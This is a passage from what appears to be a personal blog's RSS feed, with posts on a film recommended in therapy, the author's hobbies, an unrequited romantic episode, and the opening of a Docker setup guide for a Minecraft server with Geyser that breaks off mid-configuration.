But Frank gave so much back to Chris.
I guess it is the same for me too, I&rsquo;m also getting a lot back while making some sacrifices.</p>
<p>Or maybe was it about that amazing Tango dancing scene?
The sensations that Frank describes about relationships, and how he interacts with woman?</p>
<p>I honestly do not know.
I just know that watching the movie gave me good feelings.
That I&rsquo;m a happier Iman than the Iman I was before watching it.
That my feelings and experiences are not abnormal, they are valid.
That I&rsquo;m on the right track, but still need time to figure out the way.
That I shouldn&rsquo;t worry too much.
That I should look at everything as a way to have &ldquo;fun&rdquo;.
That I shouldn&rsquo;t overthink things.
That if I mess up, oh well, I should take the responsibility and move on.</p>
<p>I don&rsquo;t know what the intention of my therapist was, but I&rsquo;m so curious!
I want to figure it out. :)
Fell free to cross your fingers for me!</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/scent_of_a_woman.md">Markdown</a> ·
    <a href="/sources/posts/scent_of_a_woman.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuMACgkQtYgoUOBM
jSqQCQ/9EAs8l5fvPCqCfZFBipGWtTJewjXdcCu13/WfX66vXjBdPxzL5pLkLV7Q
m6IiKs5GoxJFgNEyfNSjjBNj&#43;NeqxgmYqlephJtf5ubTW&#43;IuSMkinSyvVwkKrxAX
QA&#43;1Imf7/4QTyUB6/L&#43;19jk&#43;1Yl2E0IVyJVWbuE0G/ZsB0TiTI/0Te3aKFdIv3lj
OAProXMLAaCpasabz8&#43;kQBQsul12h0cjG7A&#43;TSaTgaM&#43;WnE8RuC6C0KV//YeUfvN
DuyXHU9DVklkbGSblZw8EKSwLqlbCoPKixeRjVT45OG41eGmGzxYOBEb57zYEfkZ
Zmgo6Y8g2fYYU1wMj5bIylfFut0TqenCxSzJX4xqLnAhw0fx9kLCY1aoxR/Mfub5
wVNf/2vL14Ef4kfMWg8POj1WrgZc&#43;pSqWUONnTn0yBIl9rjk1LSe9IMtjBHnrIDd
GIwrhoAinO9Qyj7UOyoFFCj6JMnLcnhx5Cwn5EGRS9PSrbUbZdFDuYVQ74R/AEHf
VX1qD1UK0k84FsHhLLflEPiZypxIZsrXS&#43;BpKKG5wi7mFopvUFuZoPbHdmK2856P
e9zZL9e7VOjODn00zR/b6iDMoLUdOxw0rey2LOoNx9Gw42zYb5vuw1djNOgE9D1R
57hf02VIRab5Q1ROOnfl05pv1bY5JMQO4Zcp5Me3OFmiQwl/KYU=
=/VjG
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md
curl -fSLO https://blog.alipour.eu/sources/posts/scent_of_a_woman.md.asc
gpg --verify scent_of_a_woman.md.asc scent_of_a_woman.md
  </pre>
</div>


]]></content:encoded></item><item><title>Hobbies</title><link>https://blog.alipour.eu/posts/hobbies/</link><pubDate>Fri, 10 Oct 2025 07:04:54 +0000</pubDate><guid>https://blog.alipour.eu/posts/hobbies/</guid><description>My point of view on hobbies</description><content:encoded><![CDATA[<p>When I started my PhD, I was told &ldquo;get yourself a hobby!&rdquo; many many times by both my advisor, and the director of the group I worked in.
In fact, when being interviewed for the position, I was asked about my hobbies.</p>
<p>For some reason I think I have like the weirdest hobbies of all time.
Like, you know, people binge series, go to clubs, bars, hang out, and so on.
But I always had interests in things that when I talk about people get weirded out, or at least some of them do so.
To be honest though, when I talk more about some of my hobbies, they do show enthusiasm, but it feels like there is a clear gap between us afterwards.</p>
<p>Let&rsquo;s go back in time.
What hobbies have I had over the course of my life?
Actually as a kid I used to play games on Mobile for some reason.
I was also quite competative, reaching the highest possible ranks in pretty much every game I played by solo-queueing.
I also enjoyed playing with my brother, but for some reason he always liked games that were not necesserially my most favorite.
Like I liked Vain Glory, and my brother liked Fifa.
We did play both in the end.</p>
<p>After my brother went to the capital to attend univesity, we bacame more distant.
I had to also focus on my own studies, and was actually struggling in junior-high.
Now that is a story in itself for another time.
I used to play games back then as hobby.
But my real interest was chess.
I was really good at calculating.
I was extremely sharp for my age, but since I was obbese my parents wanted me to take &ldquo;active&rdquo; sport classes.
So&hellip; getting into a chess class was conditional.</p>
<p>I have&rsquo;t really done any chess studying after those early years, and I just know a few openings with little depth.
I do have a relatively good understanding of piece synergy and also ok-ish calculation skills to beat a good portion of people I see on a daily basis, but any professional player would easily beat me out of the opening.</p>
<p>In high-school I didn&rsquo;t really have any hobbies.
I did become interested in Basketball, but nothing serious.
It&rsquo;s funny how I was able to become good at any sport I tried.
I tried Football, Basketball, Volleyball, Table Tennis, Tennis, Chess, Footsal, Swimming, and Badminton.
I think swimming was, and still is my best sport.
I never pursued it though, which is a shame.</p>
<p>Before starting my Bachelors, I became really interested in Cicada3301, and cryptography.
Well, not the fancy state-of-the-art cryptography, the simple classic methods.
The notion of delivering a message in plain sight that only the two parties envolved can understand it was so cool to me!
That reminds me, we had these special things in junior-high called &ldquo;Karsoogh&rdquo; for math, physics, chemistry, and biology.
I think I quilified for pretty much every one of them, and had a blast every time!
In the chemistry one we cooked honey(!), in the biology one they dissected a bunny wabbit (with w to pay respect!), in the physics one we did cool experiments and tried to solve fancy problems.
But the math one was different, it happend between a few close-by NODET cities, and annualy.
The idea was simple.
They gave us questions that did were solveable by developing ideas, with almost always little to no pre-requisite.
Only in one of the years this event was internal, and they taught us 13-15 year young folks basics of cryptography, and ciphers.
We then competed against each other.
The competition was simple, develope a cipher with your team in a n*n (I think n was 6 or 8), then you split up into two groups, one team encrypts a message and you recieve the delivered message, the other team has to decrypt it.
The fastest team gets the most points.
The the message is common between teams.
After this phase the teams got together and had to figure out other teams encryption algorithm, if successful, they got points.
First teams to get an algorithm gets more points.
Our team won the best algorithm in the end, and my ideas were most influential in this achievement!
My teammates became really good friends with me after this competition which felt really cool!
I think this was the reason I became interested in cryptography.
I don&rsquo;t remember the first year, but the first and last year in the final phase and after qualifying they tought us basics of game theory, and we had a set of two player fair and unfair games for which we had to compete against other players.
If your team solved a game, you got more points.
It was really fun, and since the games happened in parallel, all teammtes had to be active.</p>
<p>I said all of this just to say thinking on problems became a hobby for me out of all of these cool expereinces.
I like to casually get lost in questions and think about weird equations, or natural problems.
Something like Feynman&rsquo;s obsession with the spaghetti problem!
Initially when starting my PhD, I did this, but then I diverged to other things I will talk about later on.
But I do want to get back to this fun hobby.
I just need some questions, and an empty mind.
Or I guess some time slots to chill and not stress about my other research.</p>
<p>During my bachelors, I became fascinated by hardware.
Like sensors, actuators, micro-controllers, and anything that I could program to do something I do but do not want to do manually.
Later on I realized this is related to IoT and Embedded systems.
I did take the embedded systems course, and for the project that the cap was 120 points, we got a wopping 125 out of 100!
Not only we implemented the whole project parts that we had to implement, but also we went beyond and just surprised the professor and his TAs!
Unfortunately I don&rsquo;t have any images from the project, but the code can be found <a href="https://github.com/AlipourIm/Embedded_Systems_Project_Spring-1402">here</a>.</p>
<p>I bought myself a raspberrypi, many sensors and actuators, and did small fun projects!
I deployed a VPN on my home network, made my Rpi accessible with dynamic IP over the Internet via DDNS, deployed my very own nextcloud, website, and so on.
I smartified my room AC s.t. it would keep the temprature at a certain range in a way to avoid hysteresis via a simple temprature and humidity sensor, and an IR-transceiver by recording the controllers signal.
I could not figure out how to fix the state when commands don&rsquo;t go through correctly though, a challenge that I never solved or came up with a solution for.
I would say my love with computers, making things smart, and networking became my main hobby!</p>
<p>After some protests and Internet blockages, I became interested in setting up VPNs that could penetrate through censorship attempts.
It was, and still is a rat race.
Well, it&rsquo;s the story of my PhD pretty much now.</p>
<p>Reading books became a hobby for a while, but Youtube kinda distroyed that.
I really love to get back to reading more books, I have a really exciting list of books to be read in my library.
Listening to Music is another amazing hobby I have, specifically when I walk around or do chores.
I find doing chores so relaxing!
Since we talked about music I should mention I also tried to learn Piano, but didn&rsquo;t pursue it.
I actaully wanted to learn Violine, but the consultant we talked to said &ldquo;if you&rsquo;re not a hard worker it won&rsquo;t workout for you&rdquo;, and since my brother was going to learn Piano, I followed suit.
And oh well, our teacher although he though I was doing really good for my age, did not give me the same set of practices that my brother got, and naturally since I was learning from kids books, I felt sad since his music always sounded better, and I eventually gave up feeling sad.
This is a pattern that has happened in my life a lot, something I need to stop from happening.
Comparing myself with other, and competing with them.
It&rsquo;s just distroying me mentally.
I am me, and the best me ever to exist.
And that&rsquo;s how it should be.</p>
<p>Somewhere during my bachelors I also became fascinated by coffee!
I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it.
Then came matcha, though with matcha things are much more limited.</p>
<p>Another thing that comes to mind is boardgames.
I love boardgames that you need to think and be smart!
An example is Cluedo.
People usually don&rsquo;t like to play it with me because I pay attention to &ldquo;everything&rdquo;.
But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games.
I have a whole collection of boardgames that I don&rsquo;t get to play! :-P
One of my all time favorite games is &ldquo;Zaar&rdquo; (a persian game that was discontinued), and a game kinda similar to it called &ldquo;The Night Cage&rdquo;.
I like them because there is a bit of strategy, luck, and a lot of co-op in them.
In the later you either all win together, or get doomed.
In the first one there is a comperition aspect to the game which makes it cool.</p>
<p>Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I&rsquo;m a loner! (Drat. :P)
I love to &ldquo;not follow recipes&rdquo; and try new things.
Foods I make usually turn out to be quite yummy actually, though definitly not authentic.
I also think I do a good job with the presentation part when I try.
And I&rsquo;m open to cooking anything and everything!</p>
<p>I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I&rsquo;m alone, I rather do my other hobbies.</p>
<p>And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD</p>
<p>3D printing is an interesting one.
I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago.
When I went to 38c3 last year, I saw so many printers, and how cool they were.
And somehting in my heart was touched, that I need one!
The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid.
And oh well, 3D printing is just the hobby!
I also tried to do some 3D design, but I&rsquo;m quite a noob at it still.
I will probably share some of the things I&rsquo;ve made somewhere somehow, but not for now at least.
Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!).
It&rsquo;s so cute and fascinating, and I had an absolute blast working on it for the one week I did.
So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.!
I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends.
It&rsquo;s just a fun thing to have, and to play around with.
The fixing part of it, and maintaining it is not as fun, but it&rsquo;s part of the journey.
I will probably write about me and my 3D printer a lot more in the future.
Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!</p>
<p>And now let&rsquo;s talk about the CTF stuff.
This is somewhat related to my interest in computers, problem solving, and cryptography (kinda).
I&rsquo;ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so.
After starting my PhD, I was introduced to Saarsec, and now I&rsquo;m a proud member, trying to contribute as much as my time allows me to.
I&rsquo;m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass.
I love it!
I want to do more of it.
The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too.
Too shay.
I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.</p>
<p>And last but not least, blogging.
Well, I kinda started it for no reason to be honest.
I just want to share my stories, and to show my vulnerable side with no guilt.
It feels freeing to do this, and I hope I continue!
I hope people won&rsquo;t get mad if they are a part of these stories I share.
I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure.
I really enjoy it!</p>
<p>With all this being said, I think that&rsquo;s it.
If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk.
The only thing I want to emphasize is that I&rsquo;m into things that make me limited to my creativity.
Oh, and also books, if only I read them instead of watching Youtube!!!!</p>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/hobbies.md">Markdown</a> ·
    <a href="/sources/posts/hobbies.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs&#43;
Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
L&#43;2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK&#43;Fyc&#43;BlDnAO2qnjUgCW6XGn7QSy13AE
y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd&#43;CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
=42yP
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md
curl -fSLO https://blog.alipour.eu/sources/posts/hobbies.md.asc
gpg --verify hobbies.md.asc hobbies.md
  </pre>
</div>


]]></content:encoded></item><item><title>Relationships</title><link>https://blog.alipour.eu/posts/relationships/</link><pubDate>Sun, 05 Oct 2025 08:03:31 +0000</pubDate><guid>https://blog.alipour.eu/posts/relationships/</guid><description>My experience so far with relationships</description><content:encoded><![CDATA[<blockquote>
<p>Notice: You&rsquo;ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.</p></blockquote>
<p>So&hellip; do you also think you&rsquo;re a lover boy, kind, nice person?
So do I!
I think I&rsquo;m actually really good at making friends with people.
Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.</p>
<p>My problem is when things are to become more serious!
Like, you know&hellip; connecting at a more emotional level.
A &ldquo;relationship&rdquo;.
I&rsquo;m really bad at those.
In fact, I haven&rsquo;t ever been in one!
Now let&rsquo;s be honest, I&rsquo;m not your typical jacked, handsome boy, but I think I&rsquo;m somewhere around the average if not higher a bit?
Well, at least I hope so! :D</p>
<p>I actually haven&rsquo;t even dated once so far.
My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like&hellip; yea dude&hellip; it was a date buddy.
Why do I say it wasn&rsquo;t a date?
Well, because I was told so yesterday by her.
That if it&rsquo;s a date, you&rsquo;re supposed to say it beforehand.
I find that very fair actually.
I really do.
I wasn&rsquo;t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal.
Like we planned a future together.
We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!<br>
We even found our &ldquo;favorite shops&rdquo; in the city together!
It was weird! I&rsquo;m so confused.
I remember the second time we went out together, we sat next to the river and close to eachother.
She leaned into me at some point.
She had also touched my arm gently when making a joke earlier when we went shopping together.
It felt weird.
I did feel she was flirting with me, making plans with me.
She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things.
We also had many deep conversations in this short amount of time.</p>
<p>But then it happened.
Suddenly she messaged me saying how she is going to have a bf soon &ldquo;hopefully&rdquo;.
That others know him, but not me.
That where we live there are not that many people.
That supply is low, and demand is high.
That this person asked her fast so that &ldquo;the slots won&rsquo;t be filled&rdquo;.
It was weird, as if she was telling me I&rsquo;m going to be taken if you don&rsquo;t do anything&hellip;?
After this weird encounter I talked to two of my friends, and my married brother and his wife.
When she heard about our interactions and all of the messages we passed, she did feel like I&rsquo;ve been friendzoning her.
That I&rsquo;m not resiprocating her feelings.
That she perhaps has a crush on me.
Even my brother felt the same!
My friend was a bit more unsure though, but he also felt like it could really be that she is playing games.
With all honestly, in her messages when she was teaching me the &ldquo;ways&rdquo;, she said &ldquo;I don&rsquo;t play games and I also advise you not to get together with people that do so&rdquo;.
Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I&rsquo;m doing is normal and things are going well.
But I guess I was wrong?</p>
<p>I do want to talk about some things that we exchanged on this weird conversation that made me confused.
She initially asked why I didn&rsquo;t go out with them last night.
I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together.
With all honestly I didn&rsquo;t even know she was joining them or not.
It&rsquo;s kinda weird, but the plans were made in a group she was not inside of.
Anyway.</p>
<p>October 4th was a rainy day.
She said she might be catching a cold, and that going out in this weather is maybe not a good choice.
She said let&rsquo;s go next weekend as the weather is better, and also that we can go out after work hours in weekdays.
You see? She proposed a different time and date, she didn&rsquo;t just cancel last second.
And then she started talking about last night, the things that happened.
A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn&rsquo;t know him.
Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her.
And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite.
Then she talked about how when two people see each other, a click can happen, and that&rsquo;s how you can know if you like someone or not. If it&rsquo;s two way ofc.
I asked her what is this &ldquo;click&rdquo;?
She said &ldquo;you know when you know, and if you think you don&rsquo;t know then there isn&rsquo;t one&rdquo;.
Interesting.
My poor brain started looking back at our own interactions.
I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it&hellip;
And again I felt she is hinting something.
Poor me was stuck between a rock and a hard place.
She told me that if I like someone I should ask them on a date &ldquo;early&rdquo;, as time is of essence.
Again, I was confused.
I was lost.
We&rsquo;ve been hanging out for two weeks, we have our favorite similar shops, hobbies.
We have plans together.
We understood eachother.
Or maybe that&rsquo;s just how I felt in my mind?
Maybe things in my brain are just different?
I don&rsquo;t know.</p>
<p>My sister in law told me that she probably had a crush on me and that I didn&rsquo;t reciprocate her feelings perhaps?
That I&rsquo;m friendzoning her by not touching her back or asking her out on a &ldquo;date&rdquo;.
Her reasoning is that she initiated all of this.
She asked me to go to see the house she was considering renting, and then asked me to go out with her after that.
She told me that I should invite her to a date.
That I have to do something romantic now, maybe get flowers, and a gift.
And I did just that.
I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits.
And I asked her on a date.</p>
<p>She said she enjoyed the company too, and thanked me.
She then said she is starting a new relationship, but even if that was not the case, &ldquo;we were so different from eachother at a much deeper level&rdquo;.
That her &ldquo;life experiecnes&rdquo; are just different, &ldquo;and so on&rdquo;.
She did actually say &ldquo;and so on&rdquo;.</p>
<p>You know what it reminds me of?
Of when your paper gets rejected by saying &ldquo;lacks novelty&rdquo;. xD</p>
<p>Another extremely funny thing is that she said we&rsquo;re so different at a much deeper level, but she doesn&rsquo;t even know me.
What was meant at a deeper level?
I&rsquo;m confused again.
She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing.
She knew nothing about me.
How are we different so deeply if you don&rsquo;t even know me? I&rsquo;m so so incredibly confused.
I guess it could be the looks, and the &ldquo;vibes&rdquo;?
But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won&rsquo;t pursue her I guess?
Idk.</p>
<p>I want to also come back to this point she made that she is &ldquo;starting a new relationship&rdquo;.
She told me in the same conversation that someone asked her out (which she technically didn&rsquo;t even say this, but it could be induced), and that going on a date &ldquo;does not mean you&rsquo;re in a relationship, that you want to know eachother&rdquo;.
Her saying that &ldquo;I said I&rsquo;m starting a new relationship&rdquo; hurt me, not because she is doing that, because she didn&rsquo;t technically tell me that.
She then said &ldquo;I always tell people this to avoid confusion&rdquo;.
I definitly didn&rsquo;t miss it if she did. She didn&rsquo;t, but whatever. It&rsquo;s fine. I did apologize.
The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me&hellip;
Did I miss it?
She didn&rsquo;t. Just trust me on this one. ;)</p>
<p>I&rsquo;m just confused.
The last three times I had a crush on someone I confessed too.
First case was in a relationship which became awkward as she told her bf and he bullied me (drat!).
Second case ended up in a tragedy that I do not want to talk about, lol!
All I can say is that she definitly panicked and I don&rsquo;t blame her.
I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable.
The third one said that she is in an &ldquo;undefined state&rdquo; of a relationship, and that she wants to keep it &ldquo;friendly&rdquo; in university, which is completely fair.
But this last one.
This was the weird one.
The first and third one were really sweet to me when I confessed/asked them out.
The last one didn&rsquo;t even show interest about being friends, which is again totally fine.
But I&rsquo;m just so baffeled by all of this.</p>
<p>So&hellip; yea. This last &ldquo;thing&rdquo;, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while.
I do think I need to take a break from trying to get into a relationship.
I&rsquo;ve been hurt a lot by the second one, and this was just confusing.
In her defence she was an amazing person.
Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life!
I can&rsquo;t just say the good stuff though. She was definitly a bit self-centered. It&rsquo;s funny how she told me that &ldquo;people say I&rsquo;m so proud in a negative way, but anyone who talks with me knows I&rsquo;m not like that&rdquo;. Which is true, she wasn&rsquo;t proud, the correct term is self-centered, or &ldquo;narcissistic&rdquo; if you will, which I don&rsquo;t neceserrialy think is bad, but it is definitly an orange/yellow flag.</p>
<p>One thing I know is that I do wish her and whoever she dates the best! &lt;3
And that I would be ok to stay friends with her, but since I&rsquo;m hurt, I will be much colder.
Sorry. :)
And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to.
Fast progression ends like this?
But then maybe we never progressed?
I don&rsquo;t know.</p>
<p>Well. I don&rsquo;t know what&rsquo;s gonna happen next, but I&rsquo;m going to just live my life and have fun.
Aaaaaaaand maybe not worry about being single?
Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won&rsquo;t be alone? Who knows? haha.</p>
<blockquote>
<p>P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I&rsquo;m worth more than that. :) In my therapy session I remembered that in each of these so called &ldquo;not dates&rdquo; we had a conversation about &ldquo;her&rdquo;, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.</p></blockquote>
<hr>
<div class="signature-block" style="margin-top:1rem">
  <p><strong>Downloads:</strong>
    <a href="/sources/posts/relationships.md">Markdown</a> ·
    <a href="/sources/posts/relationships.md.asc">Signature (.asc)</a>
  </p><details class="signature">
    <summary>View OpenPGP signature</summary>
    <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">-----BEGIN PGP SIGNATURE-----

iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA&#43;&#43;dKrn
&#43;rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
pl&#43;tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ&#43;pBdSu0tCU4flVcDiTagVUE0hId8
LC/unRH9o1S/iLLM4Fhao7Aifxr&#43;lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
Bq942gP8J14AnhZfss7QNY65dQV&#43;h4WH&#43;nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea&#43;6oBIiUF8j&#43;
SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
=lM4c
-----END PGP SIGNATURE-----
</pre>
  </details><p><em>Verify locally:</em></p>
  <pre style="font-size:0.85em; overflow-x:auto; padding:0.75rem;">curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md
curl -fSLO https://blog.alipour.eu/sources/posts/relationships.md.asc
gpg --verify relationships.md.asc relationships.md
  </pre>
</div>


]]></content:encoded></item><item><title>Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases</title><link>https://blog.alipour.eu/posts/minecraft_server/</link><pubDate>Mon, 29 Sep 2025 09:06:29 +0000</pubDate><guid>https://blog.alipour.eu/posts/minecraft_server/</guid><description>How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.</description><content:encoded><![CDATA[<h2 id="why">Why</h2>
<p>I’ve been running a Java Minecraft world (with Bedrock players via <strong>Geyser</strong>) in <code>tmux</code>. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:</p>
<ul>
<li><code>failed to register layer: ... no space left on device</code></li>
<li>Client saying: <strong>“Outdated client, please use 1.21.9 Pre-Release 2”</strong></li>
<li>Wanting config in a neat <code>.env</code> and <strong>no whitelist</strong></li>
</ul>
<p>Here’s exactly what I did.</p>
<hr>
<h2 id="folder-layout">Folder layout</h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>~/minecraft/
</span></span><span style="display:flex;"><span>├─ docker-compose.yml
</span></span><span style="display:flex;"><span>├─ .env
</span></span><span style="display:flex;"><span>└─ plugins/
</span></span></code></pre></div><hr>
<h2 id="env-secrets--knobs"><code>.env</code> (secrets &amp; knobs)</h2>
<p>Use the <strong>latest stable</strong> (not snapshots/pre-releases) by setting <code>VERSION=LATEST</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span><span style="color:#75715e"># Minecraft server configuration</span>
</span></span><span style="display:flex;"><span>EULA<span style="color:#f92672">=</span>TRUE
</span></span><span style="display:flex;"><span>TYPE<span style="color:#f92672">=</span>PAPER
</span></span><span style="display:flex;"><span>VERSION<span style="color:#f92672">=</span>LATEST
</span></span><span style="display:flex;"><span>MEMORY<span style="color:#f92672">=</span>4G
</span></span><span style="display:flex;"><span>USE_AIKAR_FLAGS<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># RCON (remote console)</span>
</span></span><span style="display:flex;"><span>ENABLE_RCON<span style="color:#f92672">=</span>true
</span></span><span style="display:flex;"><span>RCON_PASSWORD<span style="color:#f92672">=</span>superSecretPassword123
</span></span></code></pre></div><blockquote>
<p>I don’t use a whitelist, so no <code>WHITELIST</code>/<code>ENFORCE_WHITELIST</code> variables.</p></blockquote>
<hr>
<h2 id="docker-composeyml"><code>docker-compose.yml</code></h2>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">mc</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">itzg/minecraft-server:latest</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">container_name</span>: <span style="color:#ae81ff">mc</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restart</span>: <span style="color:#ae81ff">unless-stopped</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;25565:25565&#34;</span>        <span style="color:#75715e"># Java</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#e6db74">&#34;19132:19132/udp&#34;</span>    <span style="color:#75715e"># Bedrock via Geyser plugin</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">env_file</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">.env</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">mc-data:/data</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./plugins:/plugins:ro</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">mc-data</span>: {}
